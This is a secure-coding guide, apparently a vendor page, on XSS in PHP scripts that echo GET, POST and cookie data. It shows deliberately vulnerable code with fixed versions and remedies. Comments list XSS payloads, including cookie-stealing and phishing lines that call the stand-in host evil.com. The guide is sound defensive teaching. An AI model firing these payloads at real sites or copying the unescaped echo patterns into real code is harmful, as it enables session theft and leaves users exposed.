PHP Echoed Request Data XSS Vulnerability

Critical Risk Cross-site Scripting
phpxssechouser-inputrequest-datawebinjectionhtml-encodingcross-site-scriptingserver-side

What it is

A critical vulnerability that occurs when PHP applications directly echo or print user input from HTTP requests (GET, POST, COOKIE data) without proper HTML encoding or sanitization. This allows attackers to inject malicious HTML and JavaScript code that gets executed in users' browsers, leading to cross-site scripting (XSS) attacks.

<?php
// Vulnerable PHP script with XSS

// Direct echoing of GET parameters
if (isset($_GET['name'])) {
    echo "<h1>Welcome " . $_GET['name'] . "!</h1>";
}

// Form processing without encoding
if ($_POST) {
    $comment = $_POST['comment'] ?? '';
    $author = $_POST['author'] ?? '';
    $email = $_POST['email'] ?? '';

    // Vulnerable: Direct output of form data
    echo "<div class='comment-section'>";
    echo "<h3>Comment by: " . $author . "</h3>";
    echo "<p>Email: " . $email . "</p>";
    echo "<div class='comment-content'>" . $comment . "</div>";
    echo "</div>";
}

// Error message with user input
if (isset($_GET['error'])) {
    echo "<div class='error'>Error: " . $_GET['error'] . "</div>";
}

// Search results display
if (isset($_GET['q'])) {
    $query = $_GET['q'];
    echo "<h2>Search results for: " . $query . "</h2>";
    echo "<p>No results found for '" . $query . "'</p>";
}

// Profile page with user data
if (isset($_GET['bio'])) {
    echo "<div class='profile'>";
    echo "<div class='bio'>" . $_GET['bio'] . "</div>";
    echo "</div>";
}

// Dynamic CSS class injection
$theme = $_GET['theme'] ?? 'default';
echo "<div class='" . $theme . "'>";
echo "Content with user-controlled class";
echo "</div>";

// JavaScript context vulnerability
if (isset($_GET['callback'])) {
    echo "<script>";
    echo "window." . $_GET['callback'] . "();";
    echo "</script>";
}

/*
Attack vectors:
?name=<script>alert('XSS')</script>
?error=<img src=x onerror="fetch('//evil.com/steal?cookie='+document.cookie)">
?q=<iframe src="javascript:alert('XSS')"></iframe>
?bio=<script>document.location='//evil.com/phish'</script>
?theme=" onload="alert('XSS')
?callback=alert('XSS')//
*/
?>
<?php
// Secure PHP script with proper XSS prevention

// Helper function for HTML escaping
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// Helper function for attribute escaping
function attr($str) {
    return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// Helper function for URL validation
function safe_url($url) {
    $parsed = parse_url($url);
    if (!$parsed || !in_array($parsed['scheme'] ?? '', ['http', 'https'])) {
        return '#'; // Safe fallback
    }
    return $url;
}

// Safe echoing of GET parameters
if (isset($_GET['name'])) {
    echo "<h1>Welcome " . h($_GET['name']) . "!</h1>";
}

// Safe form processing with encoding
if ($_POST) {
    $comment = $_POST['comment'] ?? '';
    $author = $_POST['author'] ?? '';
    $email = $_POST['email'] ?? '';

    // Input validation
    if (strlen($comment) > 1000) {
        $comment = substr($comment, 0, 1000);
    }

    if (strlen($author) > 100) {
        $author = substr($author, 0, 100);
    }

    // Email validation
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $email = 'Invalid email';
    }

    // Safe: HTML encoding for all output
    echo "<div class='comment-section'>";
    echo "<h3>Comment by: " . h($author) . "</h3>";
    echo "<p>Email: " . h($email) . "</p>";
    echo "<div class='comment-content'>" . h($comment) . "</div>";
    echo "</div>";
}

// Safe error message handling
if (isset($_GET['error'])) {
    // Validate error code against whitelist
    $allowed_errors = [
        'not_found' => 'Page not found',
        'access_denied' => 'Access denied',
        'invalid_input' => 'Invalid input provided'
    ];

    $error_code = $_GET['error'];
    $error_message = $allowed_errors[$error_code] ?? 'Unknown error';

    echo "<div class='error'>Error: " . h($error_message) . "</div>";
}

// Safe search results display
if (isset($_GET['q'])) {
    $query = $_GET['q'];

    // Limit query length
    if (strlen($query) > 100) {
        $query = substr($query, 0, 100);
    }

    echo "<h2>Search results for: " . h($query) . "</h2>";
    echo "<p>No results found for '" . h($query) . "'</p>";
}

// Safe profile page with user data
if (isset($_GET['bio'])) {
    $bio = $_GET['bio'];

    // Limit bio length
    if (strlen($bio) > 500) {
        $bio = substr($bio, 0, 500);
    }

    echo "<div class='profile'>";
    echo "<div class='bio'>" . h($bio) . "</div>";
    echo "</div>";
}

// Safe CSS class handling
$theme = $_GET['theme'] ?? 'default';

// Validate theme against whitelist
$allowed_themes = ['default', 'dark', 'light', 'blue'];
if (!in_array($theme, $allowed_themes)) {
    $theme = 'default';
}

echo "<div class='" . attr($theme) . "'>";
echo "Content with validated class";
echo "</div>";

// Safe JavaScript context handling
if (isset($_GET['callback'])) {
    // Validate callback name (alphanumeric only)
    $callback = $_GET['callback'];
    if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $callback)) {
        // Whitelist allowed callbacks
        $allowed_callbacks = ['showWelcome', 'initApp', 'handleData'];
        if (in_array($callback, $allowed_callbacks)) {
            echo "<script>";
            echo "window." . $callback . "();";
            echo "</script>";
        }
    }
}

// Alternative: Using Twig template engine (recommended)
/*
require_once 'vendor/autoload.php';

$loader = new \Twig\Loader\FilesystemLoader('templates');
$twig = new \Twig\Environment($loader, ['autoescape' => 'html']);

echo $twig->render('page.html', [
    'name' => $_GET['name'] ?? '',
    'query' => $_GET['q'] ?? '',
    'theme' => $theme
]);
*/

// Alternative: Using output buffering with filtering
function safe_output($content) {
    return h($content);
}

ob_start('safe_output');
echo $_GET['unsafe_content'] ?? '';
ob_end_flush(); // Content is automatically escaped

?>

💡 Why This Fix Works

The vulnerable code directly echoes user input without HTML encoding, allowing XSS attacks. The fixed version uses htmlspecialchars(), input validation, whitelisting, and proper context-aware escaping.

Why it happens

Directly echoing $_GET parameters without HTML encoding is one of the most common XSS vulnerabilities in PHP applications. GET parameters are completely controlled by attackers and can contain malicious scripts.

Root causes

Direct Echoing of GET Parameters

Directly echoing $_GET parameters without HTML encoding is one of the most common XSS vulnerabilities in PHP applications. GET parameters are completely controlled by attackers and can contain malicious scripts.

Preview example – PHP
<?php
// VULNERABLE: Direct echoing of GET parameters
if (isset($_GET['name'])) {
    echo "<h1>Welcome " . $_GET['name'] . "!</h1>";
}
// Attack: ?name=<script>alert('XSS')</script>
// Results in: <h1>Welcome <script>alert('XSS')</script>!</h1>

Unencoded POST Data Output

Processing form submissions and outputting POST data without encoding creates stored XSS vulnerabilities that can affect multiple users when the data is displayed on subsequent page loads.

Preview example – PHP
<?php
// VULNERABLE: Direct output of POST data
if ($_POST) {
    $comment = $_POST['comment'] ?? '';
    $author = $_POST['author'] ?? '';
    
    echo "<div class='comment'>";
    echo "<h3>Comment by: " . $author . "</h3>";
    echo "<div class='content'>" . $comment . "</div>";
    echo "</div>";
}
// Attack: comment = "<img src=x onerror='steal_cookies()'>"

Error Messages with User Input

Displaying error messages that include user input without encoding creates reflection-based XSS vulnerabilities. This often happens in search functionality or validation error displays.

Preview example – PHP
<?php
// VULNERABLE: Error messages with user input
if (isset($_GET['error'])) {
    echo "<div class='error'>Error: " . $_GET['error'] . "</div>";
}

if (isset($_GET['q'])) {
    $query = $_GET['q'];
    echo "<h2>Search results for: " . $query . "</h2>";
    echo "<p>No results found for '" . $query . "'</p>";
}
// Attack: ?error=<script>fetch('//evil.com/steal?data='+document.cookie)</script>

Dynamic Attribute Injection

Using user input to build HTML attributes without proper encoding allows attribute injection attacks, which can lead to JavaScript execution through event handlers or style injection.

Preview example – PHP
<?php
// VULNERABLE: Dynamic attribute building
$theme = $_GET['theme'] ?? 'default';
echo "<div class='" . $theme . "'>";
echo "Content with user-controlled class";
echo "</div>";

// JavaScript context vulnerability
if (isset($_GET['callback'])) {
    echo "<script>";
    echo "window." . $_GET['callback'] . "();";
    echo "</script>";
}
// Attack: ?theme=" onload="alert('XSS')
// Attack: ?callback=alert('XSS')//

Fixes

1

Use htmlspecialchars() for HTML Encoding

Always use htmlspecialchars() with proper flags to encode user input before outputting it in HTML context. This is the primary defense against XSS in PHP applications.

View implementation – PHP
<?php
// SECURE: HTML encoding function
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

// Safe echoing of GET parameters
if (isset($_GET['name'])) {
    echo "<h1>Welcome " . h($_GET['name']) . "!</h1>";
}

// Safe form processing
if ($_POST) {
    $comment = $_POST['comment'] ?? '';
    $author = $_POST['author'] ?? '';
    
    echo "<div class='comment'>";
    echo "<h3>Comment by: " . h($author) . "</h3>";
    echo "<div class='content'>" . h($comment) . "</div>";
    echo "</div>";
}
2

Implement Input Validation and Sanitization

Validate and sanitize user input before processing. Use whitelisting for known-good values and length restrictions to limit potential attack surface.

View implementation – PHP
<?php
// Input validation functions
function validateUserID($id) {
    $id = filter_var($id, FILTER_VALIDATE_INT);
    if ($id === false || $id <= 0) {
        throw new InvalidArgumentException('Invalid user ID');
    }
    return $id;
}

function validateEmail($email) {
    $email = filter_var($email, FILTER_VALIDATE_EMAIL);
    if ($email === false) {
        throw new InvalidArgumentException('Invalid email format');
    }
    return $email;
}

function validateTheme($theme) {
    $allowedThemes = ['light', 'dark', 'blue', 'green'];
    if (!in_array($theme, $allowedThemes)) {
        return 'light'; // Safe default
    }
    return $theme;
}

// Safe usage with validation
$theme = validateTheme($_GET['theme'] ?? 'light');
echo "<div class='" . h($theme) . "'>Safe content</div>";
3

Use Template Engines with Auto-escaping

Modern template engines like Twig provide automatic HTML escaping by default. This reduces the risk of XSS vulnerabilities and makes secure coding easier.

View implementation – PHP
<?php
// SECURE: Using Twig template engine
require_once 'vendor/autoload.php';

$loader = new \Twig\Loader\FilesystemLoader('templates');
$twig = new \Twig\Environment($loader, [
    'autoescape' => 'html' // Automatic HTML escaping
]);

// Safe template rendering
$data = [
    'name' => $_GET['name'] ?? 'Guest',
    'message' => $_GET['message'] ?? '',
    'theme' => validateTheme($_GET['theme'] ?? 'light')
];

echo $twig->render('welcome.html', $data);

// templates/welcome.html (auto-escaped by Twig):
// <h1>Welcome {{ name }}!</h1>  {# Automatically escaped #}
// <div class="{{ theme }}">{{ message }}</div>  {# Safe #}
4

Context-Aware Output Encoding

Use different encoding methods depending on the output context (HTML, JavaScript, CSS, URL). Each context requires specific encoding to prevent injection attacks.

View implementation – PHP
<?php
// Context-aware encoding functions
function htmlEncode($str) {
    return htmlspecialchars($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

function jsEncode($str) {
    return json_encode($str, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_QUOT);
}

function urlEncode($str) {
    return urlencode($str);
}

function cssEncode($str) {
    // Remove dangerous characters for CSS context
    return preg_replace('/[^a-zA-Z0-9\-_]/', '', $str);
}

// Safe context-aware usage
$userName = $_GET['name'] ?? 'Guest';
$searchQuery = $_GET['q'] ?? '';

echo "<h1>Welcome " . htmlEncode($userName) . "!</h1>";
echo "<script>var userName = " . jsEncode($userName) . ";</script>";
echo "<a href='/search?q=" . urlEncode($searchQuery) . "'>Search</a>";
echo "<style>.user-theme-" . cssEncode($theme) . " { color: blue; }</style>";
5

Implement Content Security Policy (CSP)

Add Content Security Policy headers to provide additional protection against XSS attacks. CSP can block malicious scripts even if they manage to be injected into the page.

View implementation – PHP
<?php
// SECURE: Add CSP headers for additional protection
function addSecurityHeaders() {
    // Strict CSP to prevent XSS
    header("Content-Security-Policy: " .
           "default-src 'self'; " .
           "script-src 'self'; " .
           "style-src 'self' 'unsafe-inline'; " .
           "img-src 'self' data:; " .
           "connect-src 'self'; " .
           "frame-ancestors 'none'");
    
    // Additional security headers
    header("X-Content-Type-Options: nosniff");
    header("X-Frame-Options: DENY");
    header("X-XSS-Protection: 1; mode=block");
    header("Referrer-Policy: strict-origin-when-cross-origin");
}

// Apply security headers
addSecurityHeaders();

// Safe content rendering
$name = $_GET['name'] ?? 'Guest';
echo "<h1>Welcome " . htmlEncode($name) . "!</h1>";

Detect This Vulnerability in Your Code

Sourcery automatically identifies php echoed request data xss vulnerability and many other security issues in your codebase.